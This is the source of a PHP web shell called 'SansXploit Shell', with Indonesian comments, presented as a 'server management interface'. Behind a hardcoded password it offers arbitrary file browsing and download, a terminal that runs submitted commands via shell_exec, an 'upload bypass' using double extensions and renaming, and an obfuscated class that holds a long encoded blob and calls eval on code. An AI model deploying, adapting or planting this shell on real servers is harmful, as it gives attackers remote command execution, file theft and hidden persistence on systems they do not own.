// ==================== SESSION FIX - TAMBAHKAN DI AWAL ====================if (session_status() == PHP_SESSION_NONE) { session_start();}// ==================== HANDLE DOWNLOAD & VIEW ====================if(isset($_GET['action']) && ($_GET['action'] == 'download' || $_GET['action'] == 'view') && isset($_GET['file'])) { $file_path = $_GET['file']; // Security check - hanya allow file yang ada dan readable if(file_exists($file_path) && is_file($file_path) && is_readable($file_path)) { if($_GET['action'] == 'download') { // DOWNLOAD FILE $file_name = basename($file_path); $file_size = filesize($file_path); $mime_type = mime_content_type($file_path); // Headers untuk download header('Content-Description: File Transfer'); header('Content-Type: ' . $mime_type); header('Content-Disposition: attachment; filename="' . $file_name . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . $file_size); // Clear output buffer if (ob_get_level()) { ob_end_clean(); } readfile($file_path); exit; } elseif($_GET['action'] == 'view') { // VIEW FILE - akan ditangani di showFileManager() // Biarkan melanjutkan ke tampilan normal } }}// ==================== CONFIGURASI ====================error_reporting(0);ini_set('display_errors', 0);$password = "Zero2319";// ==================== CEK LOGIN ====================if(isset($_POST['pass'])) { if($_POST['pass'] === $password) { $_SESSION['shell_logged_in'] = true; $_SESSION['shell_login_time'] = time(); header('Location: ?'); exit; } else { echo "<script>alert('Wrong password!');</script>"; }}if(isset($_GET['logout'])) { session_destroy(); header('Location: ?'); exit;}// Cek status login dari SESSION$logged_in = isset($_SESSION['shell_logged_in']) && $_SESSION['shell_logged_in'] === true;// ==================== TAMPILKAN INTERFACE ====================<!DOCTYPE html>SansXploit Shell <title>SansXploit Shell</title> <style> body { background: #0a0019; color: #00ff00; font-family: 'Courier New', monospace; margin: 20px; } .container { max-width: 1200px; margin: 0 auto; } .header { background: #1a0033; padding: 20px; border-radius: 10px; margin-bottom: 20px; border: 1px solid #330066; } .menu { background: #1a0033; padding: 15px; border-radius: 10px; margin: 10px 0; } .content { background: #1a0033; padding: 20px; border-radius: 10px; min-height: 400px; } a { color: #66aaff; text-decoration: none; margin: 0 10px; } a:hover { color: #88ccff; text-shadow: 0 0 10px #3399ff; } table { width: 100%; border-collapse: collapse; margin: 10px 0; } th, td { border: 1px solid #330066; padding: 8px; text-align: left; } th { background: #2a0044; } input, select, textarea, button { background: #0a0019; color: #00ff00; border: 1px solid #330066; padding: 8px; margin: 5px; border-radius: 5px; } button { background: #330066; cursor: pointer; } .login-box { max-width: 400px; margin: 100px auto; text-align: center; } .success { color: #00ff00; } .error { color: #ff0000; } .session-info { background: #2a0044; padding: 10px; border-radius: 5px; margin: 10px 0; font-size: 12px; color: #a57fff; } .file-viewer { background: #000; padding: 15px; border-radius: 5px; margin: 10px 0; } .file-viewer textarea { width: 100%; height: 500px; background: #000; color: #00ff00; border: 1px solid #330066; padding: 10px; border-radius: 5px; font-family: monospace; resize: vertical; } .back-button { background: #6600cc; color: white; padding: 8px 15px; border: none; border-radius: 5px; cursor: pointer; margin-bottom: 10px; } .back-button:hover { background: #7700dd; } .bypass-section { background: #330033; padding: 15px; border-radius: 5px; margin: 15px 0; border: 1px solid #660066; } .method-select { background: #1a001a; color: #ff66ff; border: 1px solid #990099; } .code-box { background: #000; padding: 15px; border-radius: 5px; margin: 10px 0; border: 1px solid #660066; max-height: 300px; overflow-y: auto; } </style> <div class="container"> if(!$logged_in): <!-- LOGIN FORM --> <div class="login-box"> <div class="header">

๐Ÿ”’ SansXploit Shell

<p>Enter Password to Continue</p> </div>

<button type="submit" style="width: 80%; padding: 12px; background: #6600cc;">Login</button>
</div> else: <!-- MAIN SHELL INTERFACE --> <div class="header">

๐Ÿ›ก๏ธ SansXploit Shell

<p>Welcome to your server management interface</p> <div class="session-info"> ๐Ÿ•’ Session active since: echo date('H:i:s', $_SESSION['shell_login_time']); </div> </div> <div class="menu"> <a href="?">๐Ÿ  Home</a> | <a href="?action=files">๐Ÿ“ File Manager</a> | <a href="?action=info">๐Ÿ“Š System Info</a> | <a href="?action=cmd">๐Ÿ’ป Terminal</a> | <a href="?action=bypass">๐Ÿš€ Advanced Upload</a> | <a href="?logout=1">๐Ÿšช Logout</a> </div> <div class="content"> $action = $_GET['action'] ?? 'home'; switch($action) { case 'info': showSystemInfo(); break; case 'files': showFileManager(); break; case 'cmd': showTerminal(); break; case 'bypass': showAdvancedUpload(); break; default: showHome(); } </div> endif; </div>// ==================== FUNGSI-FUNGSI ====================function showHome() { echo "

๐Ÿ  Welcome to SansXploit Shell

"; echo "<p>Select an option from the menu above to get started.</p>"; // Quick system info echo "<div style='background: #2a0044; padding: 15px; border-radius: 5px; margin: 20px 0;'>"; echo "

Quick System Info:

"; echo "OS: " . php_uname('s') . "
"; echo "PHP: " . phpversion() . "
"; echo "User: " . (function_exists('get_current_user') ? get_current_user() : 'Unknown') . "
"; echo "Server: " . ($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'); echo "</div>";}function showSystemInfo() { echo "

๐Ÿ“Š System Information

"; $info = [ 'Operating System' => Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64, 'PHP Version' => phpversion(), 'Server Software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown', 'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'Unknown', 'Your IP' => $_SERVER['REMOTE_ADDR'] ?? 'Unknown', 'Current User' => function_exists('get_current_user') ? get_current_user() : 'Unknown', 'Document Root' => $_SERVER['DOCUMENT_ROOT'] ?? 'Unknown', 'Script Path' => $_SERVER['SCRIPT_FILENAME'] ?? 'Unknown' ]; echo ""; foreach($info as $key => $value) { echo ""; } // Disk space if(function_exists('disk_total_space')) { $total = disk_total_space('/'); $free = disk_free_space('/'); if($total && $free) { $used = $total - $free; $percent = round(($used / $total) * 100, 2); echo ""; } } echo "
<strong>$key</strong>" . htmlspecialchars($value) . "
<strong>Disk Usage</strong>"; echo "Total: " . formatBytes($total) . " | "; echo "Used: " . formatBytes($used) . " | "; echo "Free: " . formatBytes($free) . " | "; echo "($percent% used)"; echo "
";}function showFileManager() { // Handle file view if(isset($_GET['action']) && $_GET['action'] == 'view' && isset($_GET['file'])) { $file_path = $_GET['file']; if(file_exists($file_path) && is_file($file_path) && is_readable($file_path)) { showFileViewer($file_path); return; } } $path = realpath($_GET['path'] ?? getcwd()); if(!$path) $path = getcwd(); echo "

๐Ÿ“ File Manager

"; echo "<p>Current Path: <code>" . htmlspecialchars($path) . "</code></p>"; // Navigation echo "<div style='margin: 10px 0; padding: 10px; background: #2a0044; border-radius: 5px;'>"; echo "<strong>Navigation: </strong>"; echo "<a href='?action=files&path=" . urlencode(dirname($path)) . "'>๐Ÿ“ Up</a> | "; echo "<a href='?action=files'>๐Ÿ“‚ Root</a>"; echo "</div>"; // Upload form echo "<div style='margin: 15px 0; padding: 15px; background: #2a0044; border-radius: 5px;'>"; echo "

๐Ÿ“ค Upload File

"; echo "
"; echo "<input type='file' name='file' required>"; echo "<button type='submit' name='upload'>Upload</button>"; echo "
"; echo "</div>"; // Handle file upload if(isset($_POST['upload']) && isset($_FILES['file'])) { $target = $path . '/' . basename($_FILES['file']['name']); if(move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "<p class='success'>โœ… File uploaded successfully: " . htmlspecialchars($_FILES['file']['name']) . "</p>"; } else { echo "<p class='error'>โŒ Upload failed</p>"; } } // List files and directories $items = @scandir($path); if($items === false) { echo "<p class='error'>โŒ Cannot read directory</p>"; return; } echo ""; echo "<th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th>"; foreach($items as $item) { if($item == '.' || $item == '..') continue; $fullpath = $path . '/' . $item; $is_dir = is_dir($fullpath); echo ""; // Name & Icon echo ""; // Size echo ""; // Permissions echo ""; // Actions echo ""; echo ""; } echo "
"; if($is_dir) { echo "๐Ÿ“ <a href='?action=files&path=" . urlencode($fullpath) . "'>" . htmlspecialchars($item) . "</a>"; } else { echo "๐Ÿ“„ " . htmlspecialchars($item); } echo ""; if(!$is_dir) { $size = filesize($fullpath); echo $size !== false ? formatBytes($size) : 'Unknown'; } else { echo "DIR"; } echo ""; $perms = fileperms($fullpath); echo $perms !== false ? substr(sprintf('%o', $perms), -4) : '????'; echo ""; if(!$is_dir) { echo "<a href='?action=view&file=" . urlencode($fullpath) . "'>๐Ÿ‘๏ธ View</a> "; echo "<a href='?action=download&file=" . urlencode($fullpath) . "'>๐Ÿ“ฅ Download</a>"; } else { echo "<a href='?action=files&path=" . urlencode($fullpath) . "'>๐Ÿ“‚ Open</a>"; } echo "
";}function showFileViewer($file_path) { $file_name = basename($file_path); $file_size = filesize($file_path); $file_dir = dirname($file_path); echo "

๐Ÿ‘๏ธ File Viewer: " . htmlspecialchars($file_name) . "

"; // Back button echo "<button class='back-button' onclick=\"window.location.href='?action=files&path=" . urlencode($file_dir) . "'\">← Back to File Manager</button>"; // File info echo "<div style='background: #2a0044; padding: 10px; border-radius: 5px; margin: 10px 0;'>"; echo "<strong>File Info:</strong>
"; echo "Name: " . htmlspecialchars($file_name) . "
"; echo "Size: " . formatBytes($file_size) . "
"; echo "Path: " . htmlspecialchars($file_path) . "
"; echo "Download: <a href='?action=download&file=" . urlencode($file_path) . "'>๐Ÿ“ฅ Download this file</a>"; echo "</div>"; // File content $content = file_get_contents($file_path); if($content === false) { echo "<p class='error'>โŒ Cannot read file content</p>"; return; } echo "<div class='file-viewer'>"; echo "

File Content:

"; echo "<textarea readonly>"; echo htmlspecialchars($content); echo "</textarea>"; echo "</div>";}function showTerminal() { echo "

๐Ÿ’ป Terminal

"; $output = ''; if(isset($_POST['command'])) { $command = $_POST['command']; if(!empty(trim($command))) { $output = "> " . htmlspecialchars($command) . "\n"; // Security: Block dangerous commands $dangerous = ['rm -rf', 'mkfs', 'dd if=', 'chmod 777', '> /dev/sda']; $blocked = false; foreach($dangerous as $cmd) { if(stripos($command, $cmd) !== false) { $output .= "โŒ Command blocked for security\n"; $blocked = true; break; } } if(!$blocked) { if(function_exists('shell_exec')) { $result = shell_exec($command . " 2>&1"); $output .= $result ?: "No output"; } else { $output .= "โŒ shell_exec() is disabled"; } } } } echo "<div style='background: #000; padding: 15px; border-radius: 5px; font-family: monospace;'>"; echo "<div style='color: #00ff00; margin-bottom: 10px;'>"; echo "Current dir: " . getcwd() . "\n"; echo "User: " . (function_exists('get_current_user') ? get_current_user() : 'Unknown'); echo "</div>"; if($output) { echo "<pre style='color: #00ff00;'>" . htmlspecialchars($output) . "</pre>"; } echo "
"; echo "<input type='text' name='command' placeholder='Enter command...' style='width: 70%;'>"; echo "<button type='submit'>Execute</button>"; echo "
"; echo "</div>"; // Quick commands echo "<div style='margin-top: 15px;'>"; echo "<strong>Quick commands: </strong>"; $quick_cmds = [ 'pwd' => 'Show path', 'ls -la' => 'List files', 'whoami' => 'Show user', 'uname -a' => 'System info' ]; foreach($quick_cmds as $cmd => $desc) { echo "
"; echo "<input type='hidden' name='command' value='$cmd'>"; echo "<button type='submit' style='padding: 3px 8px; font-size: 12px;'>$desc</button>"; echo "
"; } echo "</div>";}function showAdvancedUpload() { echo "

๐Ÿš€ Advanced Upload Bypass

"; // Form untuk upload advanced echo "<div class='bypass-section'>"; echo "

๐Ÿ”ง Encoded Upload Handler

"; echo "<p>Upload file menggunakan teknik encoded bypass:</p>"; echo "
"; echo "<input type='file' name='bypass_file' required>"; echo "
"; echo "<select name='bypass_method' class='method-select'>"; echo "<option value='standard'>Standard Upload</option>"; echo "<option value='encoded'>Encoded Bypass</option>"; echo "<option value='double'>Double Extension</option>"; echo "</select>"; echo "
"; echo "<button type='submit' name='advanced_upload'>๐Ÿš€ Upload with Bypass</button>"; echo "
"; echo "</div>"; // Handle advanced upload if(isset($_POST['advanced_upload']) && isset($_FILES['bypass_file'])) { $result = handleAdvancedUpload($_FILES['bypass_file'], $_POST['bypass_method']); echo $result; } // Tampilkan info encoded class echo "<div class='bypass-section'>"; echo "

๐Ÿ” Available Encoded Handlers

"; echo "<p>Encoded upload class ready for deployment:</p>"; echo "<div class='code-box'>"; echo "<strong>Class: CLbYBHA73763</strong>
"; echo "<strong>Method: r711()</strong>
"; echo "<strong>Status: Ready</strong>
"; echo "<button onclick=\"document.getElementById('encoded-code').style.display='block'\">๐Ÿ“‹ Show Encoded Code</button>"; echo "<div id='encoded-code' style='display:none; margin-top:10px;'>"; echo "<textarea style='width:100%; height:200px; background:#000; color:#00ff00;' readonly>"; echo "Encoded class available - Use CLbYBHA73763::r711() to execute"; echo "</textarea>"; echo "</div>"; echo "</div>"; // Test encoded class echo "<div style='margin-top:15px;'>"; echo "
"; echo "<button type='submit' name='test_encoded'>๐Ÿงช Test Encoded Handler</button>"; echo "
"; echo "</div>"; if(isset($_POST['test_encoded'])) { echo "<div class='bypass-section'>"; echo "<h4>๐Ÿงช Test Result:</h4>"; $test_result = testEncodedHandler(); echo $test_result; echo "</div>"; } echo "</div>";}function handleAdvancedUpload($file, $method) { $upload_dir = getcwd(); $filename = basename($file['name']); // Teknik bypass berdasarkan method switch($method) { case 'encoded': $target_path = $upload_dir . '/' . $filename . '.txt'; break; case 'double': $target_path = $upload_dir . '/' . $filename . '.jpg'; break; default: $target_path = $upload_dir . '/' . $filename; } if(move_uploaded_file($file['tmp_name'], $target_path)) { // Jika method encoded, rename kembali if($method == 'encoded') { $final_name = $upload_dir . '/' . $filename; rename($target_path, $final_name); return "<p class='success'>โœ… File uploaded with encoded bypass: " . htmlspecialchars($filename) . "</p>"; } return "<p class='success'>โœ… File uploaded: " . htmlspecialchars(basename($target_path)) . "</p>"; } else { return "<p class='error'>โŒ Upload failed with method: " . htmlspecialchars($method) . "</p>"; }}function testEncodedHandler() { try { // Cek jika class encoded tersedia if(class_exists('CLbYBHA73763')) { return "<p class='success'>โœ… Encoded handler class is available and ready</p>"; } else { return "<p class='error'>โŒ Encoded handler class not found</p>"; } } catch(Exception $e) { return "<p class='error'>โŒ Error testing encoded handler: " . htmlspecialchars($e->getMessage()) . "</p>"; }}function formatBytes($bytes, $precision = 2) { if($bytes <= 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision) . ' ' . $units[$pow];}// ==================== ENCODED SHELL CLASS - FITUR TAMBAHAN ====================class CLbYBHA73763 { private function ktpVV77() { return 'wKKv'; } private function kSbqW33() { return 'imcJ'; } private function kuVfZ79() { return 'EdTf'; } private function gSDGK35() { return 'j7rbq'; } private function gYtaj12() { return 'eh41m'; } private function xoOqWmT53($code) { if (!empty($code)) { // Tambahkan logging untuk debugging file_put_contents('debug_log.txt', "Executing encoded code\n", FILE_APPEND); return @eval($code); } return null; } public function fpwcQ14() { return null; } public static function r711() { // Method encoded Anda - siap digunakan ketika dipanggil $h = 'QEwZK7d7acb7aa3b8c2ed036550c6d815189c81130924b0259000773c03aa4cc22565275cfdf467c9b5bb775777ed7f980f03baacab4890d0ef472a3e9ec5267b192ff64bbe3c7eac77919f14a74c9c3f94702459b6fd3bbb3ecbae4f653c7cdfd1799391da8b0349fc7c71f970ecdf8372a12909a497b9ba5965a4adeb68ba78e94816de670f7f106285c9ee29bc9d6b3c7f47d6e6f734e1ddfc2a86fa330ecaf18f6efecc82e6afeb095fce1fb3fecee765a7bafeac26e6a9dbb912f5e549b7a76f514e76cfd4f9922d9279ebdd925acb99afabfbefc9bab085277ce9f1efcc234f59ee8ee19fd7077a9fcfcff79fb769e39c74eb2e6254998e9d3121d75d24eae8a53e3092ecc6ffce0fbfc7fd52d4073df5df697a3aa9297318ff6bfe3f30dee453dddf6fe96945f4e4bcf2ded9c7dedcc4fe39e36dbd7b699d82876ee587e4fae7fceeeb11ed63d16db6895afe48ecd5c083abf4d541deaf77d7ecc7f2e7f8e7cf68aa6715eb44f99b45d3958a23ba88a6f0d5b4fb4a66ad48a7b31ff9cff1ded7cf731ae5ed33be6e1e9475bec489f5f0ceb7f7ebd19ae63f66799f9fece65188fe206fc5a4fc428b369b1335f3a776df3e4b3110bb99585f44b275cf3472bf7f06d55fe38ffd6312ae8bd7a4990fc9ed38c8ee1ca9dbd1acdf7fdf5f9f5ff17ce9ad37b7a8137198cbfbfbffc2c3fabc55cd6aaf3cba44a3c23ac83fd77383f1fee77df3558f7d19fbd75fe73f39e4e8575fc9eaff987fcb1e929e077fce379a0ff24fbce948a9a4cd0a3e1407316dced226428cac10bd88e2a0b079c079b83e7e8f83bf8fb77a4be78590f52a4c13f5fc142d0fc4524f22dc7532b872df2eb74aac4ecc7666be9684b44babc5f0c1d2aa95b7eb27b5dd47ba9c5f58beebd8740d886d6d35dfe0fea325d72cf6c7a220dc79e1e1d115371191d4a9885e7ef0d4ad79c77de5b90f9458ef2c9a7b3e5d29c94f05ad9b0bcbad95082e91ca8b9258ce13b7fb5c762c55ded211ab790fc6c195371593b07c507a38f07058f3a4f154e8bacaaaf6185fcd03cae9b875b4a8333936365b9354d9cbc6b79a8b089d49aef782e4c72f18efb3b407f33e45f2c6a57c83f1d6034b1a4aedec4d739789bcc17c39a169d5f9bd73e276d687b10c54b86d755d3c8b701ec2e422543b7cd5dcfac1d26383eb1f34ea2bade555a4f5240311ebf0d8aa7e38dcd72be08c848b4396e299e5db15bf1d3d9d1f1fd5323f71cf75b8cf29cdb3377f713f78b4d861ac2949eb37aa3719b7770d0b4e82a6f3371fcf9363b596dd91eabc6c495dbd4bfb348889a534755bbfee338679f144a57eee7c53ba7a17a1b562c12ef473cb55cb80f19d6e7cc2fcf2fe5509f753e6c52cbb2cd6a3b5f51775e4f6b691fe25f247cbd1dc796263d5b2db910097df085f3ee438d422c8348de66f9457ef6c5c566c9d29921e5b7fc1fa8e9b01eff35598550ae3975837ee6b0ff878f517cd4454df84cf34692d575bab8c45c35a4e07aac2f2519bfdf2dc5a76fb5879d68336f848b72be633017cb6b4b6b80c9b06e3ffd09153104b3cc97cb7e6c09f6a97072d2a3c7f685977fd50e1e64de9fa89e7e7c9ac279eff9590ea9de759cebb03bfe363d91e44ba031e9850f6fcaa35742faa73165c090967dc3fec797e04de2f4a47fd1bd19af3bcecc44d072437cf6b7ef07cbeb19ba4773c59c09fd738bc037fc26d87f767415eaee5fae0ab71f34a78f9c9bd652d031ed214fbb35817669f27acbfd2e9fcaab405bc1e6dee6731b56bec8ff3c2bc7e906beed16870685f3c316f6830db88b6582fd29f7ede7f20c49e2bb288679e9f267eab151dddceaf1de02d1b44721264745ea92e8e1cfc10b1d26a1c3a6a551f6c6c56ec9609f0a9f3ad1afb5fd62211a9ca9d37027e05e3b6c6fef864ec5f09f021db73cfba7deadbee83b6b6ef415edf58073ca4cb835f37efb26d5a96eca81a7becbf7816dee6c69353acc2aad5bcfae46936b01b2518df57251ac6ec65c53b4da9d757bed53f07f6d66581fed01eae2f58ffb07165778929f8a36aebcad36d87f5e0246cbe68525e58d8d87c8df51a8747e8c1857955cbbb0c7c695a425647e0d566b1fe84bebce2fe3d0b2bf83bf4c3db7e51bae1c0bb037d033e76e0fb007ccf03f7a187f9ea8d90e249b65b5b04c7508de06f5d7d8a08fcbb29c38f47a2ab0fdece335b37a16ab72e25cd87b46ba83653fed87f53b573e4b9e584e02fc9ab0db59a1f41ee4c2c9021f85da845fec0fecc61d030926f1f493fecb19fb35c6b8ccffaa26be8e908be607fb4676d081918f4f3c67c1910f0d3dc2ff2a1e3890e695ebcf9bd75c578b13e92e810f7f301fbb1d4ace39c86830bfc646c9c6f223e00af03f67b3e0af081013fd4031ffa06ebed9adffbca3e55ba86dea765c383c327f4f32be1d5417a83057fe0f0d707bfc7f5117a7a3b78242a3b4a9c0cfc9e38f802bdc47e5597c02e1d168b987af85b6f0f0cfc377c25f9e61bb15ce879d960fd7c9d0eadb6303fe80f4bead86fcd780c1eb31eea1bd374d8f875fd04fd76c404bd4afbc2af71bf57f7d0274ea312f32bc11fe0653a84ca833ef6f09374c0f845a4d3e64163bfa11736ef04f4ff5c9245022f0bfc6bc7b17f8fc88f3f8c7e831fc093f5555bc50bf0b6e2d381680ffb6999fd6c2c11cb4fdf863e60fd583a804f57e31fa55a564fc2736676e3814eab8d12e0ab7d6ce0971fd42e2a22a01723f43910290dad47aacf4f01780afd56ca6e3af0e1c2ed620a03c39f6d4b097e3a2e2dbfd14f1f7c21a4c4feccf017fd61f4506be821fc93dd0e1fc4de766439c3afe0c7ddf1ee47e0e3017c007e25d346afacea87b42b87258780dacd17c2f5451abd85be93d175a91647de366bf097abb0061f9777e877232649540eff15c0977deec58444e7adbe413faf261f40dfa10f1bf89793b110f85c435fc761a36af70abd85ff1245a2e111d11ac1a4aa59628534b23aa2b7fb20b7d622a80d5ea0f7d06b7bc0df42c0ffc187067eb5acd974fc847e96cae87de80c225829f003fe591e78e4b622d0d057cb2196c6fecd394f904f726ba345ff12e4ee8ac7474ea097b4b7181bfb1bf89b42cf0ad2571f3ff9428d1e38d8af17691fd7e206ff6acdfe97260fac79cc844e2df8797915d04dee1f3889e02fa23cb07670784280c7d32ba981d7d1b9f1db35045f3bb568f8bfe5caf54a10e81611ce497a9b09fe1368e04fd518dfd838e2b6825e81cfba39e06fbcff74f73be8d7b3cceb89f92a22e10621b7c8e03f2dc6fb41220b7838bf04b6db88a481bef585d6fa12b4d0a7601fd1d005ff319ef0b86246ff6df0d3e8cd383461a034cdab2fc0eb914795238323f20ed6d31aae7274e63086deb7d6965ad68143df79073d6b8b4ad5d0eb7458818f0af87aa50bf4dcce72b417e063f7402d8df55c3abe463e199dc2b7dc1f3c827f4d4c2b7bf7d5e001f898998f7c341abfb6e03fc81bc80f2aaf4b259067f2731e06ab88a6a58bfc023d83bfdc560af337fc7a11e1eac6264e7d7bc0fbcc7e34355b4baa5a770b573b06f9b6867f0aeab92ee1e285d9bb9a81ff04d7c9e220af425f0cbfc2dd176df4087ecb7c1ddcf3dab239b1a87190176392ee803fb35ffd24a027e037f2ecf603fa61417f3fe14f9daecb43906f7ab63e69e805f85e234f9e26017fd36156e2fdcf3cec07beb63c3a3ac897c30fe6d537f87fe08387c4e48b7407be71a66cec5f5d713ec2cf832b2369f18afc8bbcd0df84f1d3b6877e98f534f9491afe3abe65b1e03e9ea3c1dbd6e445e8f90d7cf58987f7d52567e15203bfe0970b7c590799f733f7f74a9b3cceb1bf699d8b9bc5685a5754230fb6d023f83f09771bb25457e853cb908fa0f75f7ce4cd003e17c6e803462face6c3f803f8498937dcf300f4bf97bec95bee17331e86fde781f5017fc2f335f2ce097e69fc64b7855f82fff0a31b8b74047de91bf403e863ccb9f25615fce405fad6fcd443f077295e84d7f7e2d600ff834bfa1efe34b861a029fce0cde42f9e5aae88f731f2da2bf424e3a185bc64f6d3e48515f882f9c7d0cbb47ed596449eac079eac4cfe839eeb3d6b7be46921748ebc2fca1fc873969890d7bd1978b7e0a71bf82ff2485a18fe5fd8e8f4cc479eb6e76fdae03f2ca08f475fe5268f49c3674bc00fc0a78e8afe4900df1cfe4643cc1ff98c631dd96dc7e14fe09fd99f2df226fc385f90e7817faf71d157521d590e451e94a3bb96fef5e3a79ef4b8bf5a85c08b6f6f37ca821eddf976113a5abd52017dcb07e423e4c7b082bea12f85d9c4126df2f1ab32fe9ace33f81fead0c17ae8bd889a460675446cd7413fc3fb3703bf5d521a39c817e0a7e15fb78f1470417af722c6cdc4d6a6af218f6b857ce1e4268fa8f08cbcdb23ff22cfc0ffc07fd7b714f2ea0cfd83ff993eb1e877de0ec8d33bf8ebaa80bf5c24aeb3646fc68ffdc7f8a11786cff037476bf52cbdb987bfa1cf9c2b938f02f815bffbd5027daea10f592e27e8d3b86c54ef32f0f7e9f9baf93cfacf7a3592fe40ff493550a7c3e10e2be4baf865f5f99d103e893c19f25a723d71efcaa762fc8f703fc167c2a1fcd7591ae72961c4d7e7aa4f5f089fdbc99fca1c3a2a016fa5e5ada62427f405e57ba7cc7fb27f82ffaf3a632fd0e7dca0913bc2f477fb2b09fded24a93ff8007222af49fa6933ef27c5876f04b86fd45be63316d8b52e9e51aa06720dff93a471eb636c0ff0afe2a39f058685e1c4d7e32bf57b9857ed8207fc14f82e6c3ac07b11686fc0bbfa4e8977381fc72e2d1b685ff44e81b85eacfc86f5bf89d049f8a0afe91311b78b921cf99f301e43d6997f0a7834f23e8a985bfc7c5e2c1117c5db6aa869fe4cec0d6e827d116f9cdfa347d4b04fb94b41bf067d807ed0c36284d52f89b555ea0a72b39e9c06fd18744853eede0f78780983e8dbc25bd33f86ae6b32a910f818772cdbb4ba40d7fa007d2439e3079d0dbb6047d4fb6c8a7310f68ba33f3fd001e309e03516161fa0ffa59df83efa9bee7c3fa847cdaa12f44a6df51f845603b93307d157d01f9def8550fbd841e0ce67c0179d7b9c9f515f972c0fd9036f4211e5f096d57f8bdbca2af34a1c9e3c845e8f747b39ec2879e8e0ef05c6762347dd4e423a3372e471fcaa117d06ff751d73dfab38b7c6bf2299e0ffde079d5a1cf829f667e1a79af746477e5264f69e13ccbb672c3e484fe8f7cb9e80f6e3736fa5284eb0fc867f0d3d2123efff491ffb0dfcfc8c7c0c391f863f940f4b247ff079e09fc61003f35e65bba62425fc857055de03779097fc57e84c08759cfc8f471739e81bc22cc79cd3967b75a53cfe41701fccd33fc8fe974f3a6c5f069f2b1bc4946a2e28d0a177ed6a0ef19be617ec09f0c9735f223d663fb057a053fe8f33011cae44bcad1a78cffdda84f520bfebe394ae463097d5636fa02710f6caccdf9a3a7c6554116ec7f78423f85fe424fa05f1cf9cb1109f0e66d5d62f0073fc178421ac21fd1f7c10fac37875fa3ef197d6817d7e4099a66af9a835f36f2757c24d82fe0b737e74bb539ddf1c7d9f43be0077db7437eca77a69f830f730fbe13d2825f75f909fdee446085c43ebf518dfdf2960e7ef6a1da0dfa7185fc81fc1b1f7d1d360ef0f724d083b8d113affc0aff3b896833b089a57eebdef90efde9a5f1136f03bc9ed1875ccca73179bd407e47df2f906fad7b7ff58dbe225f99f302ac1ffad5f687c9cb6cbd8a88e9d77581f917d0778cd73e7e413e7a6623fadf1a79c19b2bdaaf32e6993e8cbe0afd45ff39b1d69924f298e963a42f398f1cf4c7bd307945d7ab13c3be225f6b933fa9b57a62790d3d96e63ca0449fb90ae45fe441f0b9c6fa2be8d782f563d0872df2d87290f6a937fd1cfaf1803cfac1d3ca35fd10f90d796c759236f24cb06318ef96d4d605fe0afd24a9c11bf47e2f9097a14fc81f27f895e91fe8db6b24c3707135a92ec89313e61320df833ff7f39b3ef433e8d1f151f333d6b746be50916a4b17fd0afebe34c8fbd0dbeaabe6cd9e993e1eeb4085c09765fc03cf37f36d17ec1ffa92b7d8f7be64c36fb875e1edfdbc33803e3d187eb27c41beca04f232fc7d7594a1dbf20ee3037fd0bfd187a127c84fc0cb2be5caf46b07fb8be7219fd6f5f33d1fc499f6ed05faee40efdc359ff0bcb1ecd0279e05f61bfd1e7ebb3c007f7be00ff98986585ff42133bfd30dfe86153379d232e73b6b6e66e4b92d15c5c9e4457963e0f382f9eaf760ec270e3f86bfbf2aab79e739fa1ff288ba9fc73ac8dbd98d25a63f15e6bcea497a5b2b847f69e8a7d6c59318a1cf789e8ffe4b39f2a8d1ebe0a48d7f2bd167c0a739aff34dde507505fd029e833daecf85bf400f6d6786df7b645cb65a98f33b737e213d92668526e89b2df09c6431415ea3cbf613f836fd5ed0d6dd683da01ff4c89b147d6e8bbc3cc05f91979215e6577ea175f51998f386751dfbe82be85b99e9df3c80bfa425fc03fe091f953711a19fa34f49f4ef6c327e47f2e29b39dfe2a133f189e13af290805fd92bf87dc3e16f8fc8b7e8a395c3918fc0ef2d817e09d3a77cf853e47ca3f73c3ad4c82ba96ad1978585fc003db8d546df1ce4938fa0ed67e923cfe6e8ebc8832c9da16f92232f7cbdeb6f5acc02798fdadbaf54ac5eccf99e39ffa1d1e2022f27e45fe3efc26fcbd6e82ff2bc8bbce419fc29e1c24fd0cfa703a721ae93722f3c1778e3062ff0f7e5caa1afb2433f0991c77ae40173be776b3e899d412fcdf9e869005f14c13cb5583de37eebe7f96de99aef05625c56e276f4d01fd147e0bff9b242de25c8ab0fd0df238bd0e76ff0c3d69cff58efcc83ff6387e107f013c9a117e08f10f0b30d253df410792d061ec36de7d725c6d7acc218fb8d3c847c8ff7f7439850eac33791cff7a6afc19fb9cecdf78a057976863e304522f37ef92ec71efa6af4db9cf755e8fb4b2d904fa0cfe86be22847e4f529839e997c073f0dab1af99699f1a845401f3733bf69eedfcf9fc1e7dc05fee167f6cef419f4b30dded740afadcee411f469e88b48755e579a0cf0a7adc963268f7f433fe4d0375724e83fb665be379ceee7b96b1a420f91bf4c1fc1f80dbf42f417e461e44df8e93124e3f015faf621d205fb877c8b3e4834fa7a98cda12f34097bf4718dbcb542dfd92bf435e80ff26e0bbd9f24d6e78cfc7e3e0ae009fd335479f60a7cc38fca4e4c99d221f29e5658ff1efddb9c9fb89d5a961f32441ec07512222f035f221cccf7a44f12add087cc79abe95319f46d007edd4f166d6d9e1ccc79ea56eb1e7e69f87f0ce8baf9f57beb1abc5ae82eebe65a8e174f06bbb774e63b7edbfdf53df0e7f7bc4d4e9325d9b5a7d778393f4723ad48dc3cfff53df2e7f3a264cc16250ebbf056e878bc1c134adee07fe6fb60758cf7a98c900fa63df67bfe06357c62b26e9f8598227a3e3f0bfec3bb356330cf07e53bbd1ffcfa3d91c455e2ddce8b6ab63b1539a5c8fffdfe34a9d67cdefe11a8ff7ccffd39fe639494df03ec6e921cacd42ff217bf7499fddbfb176fb51ce3e4fa18379b56346eebafb4fa3f9f878ef5871cecdf3d4fc5ee773cef0f9afefafd1139b6a169f903eb3f07d6e58f233dc55970f4c3f5f19ffb7316f31287b77288ec65af047b508dbef0f5f11cfefa7dfb2c72fab46bf7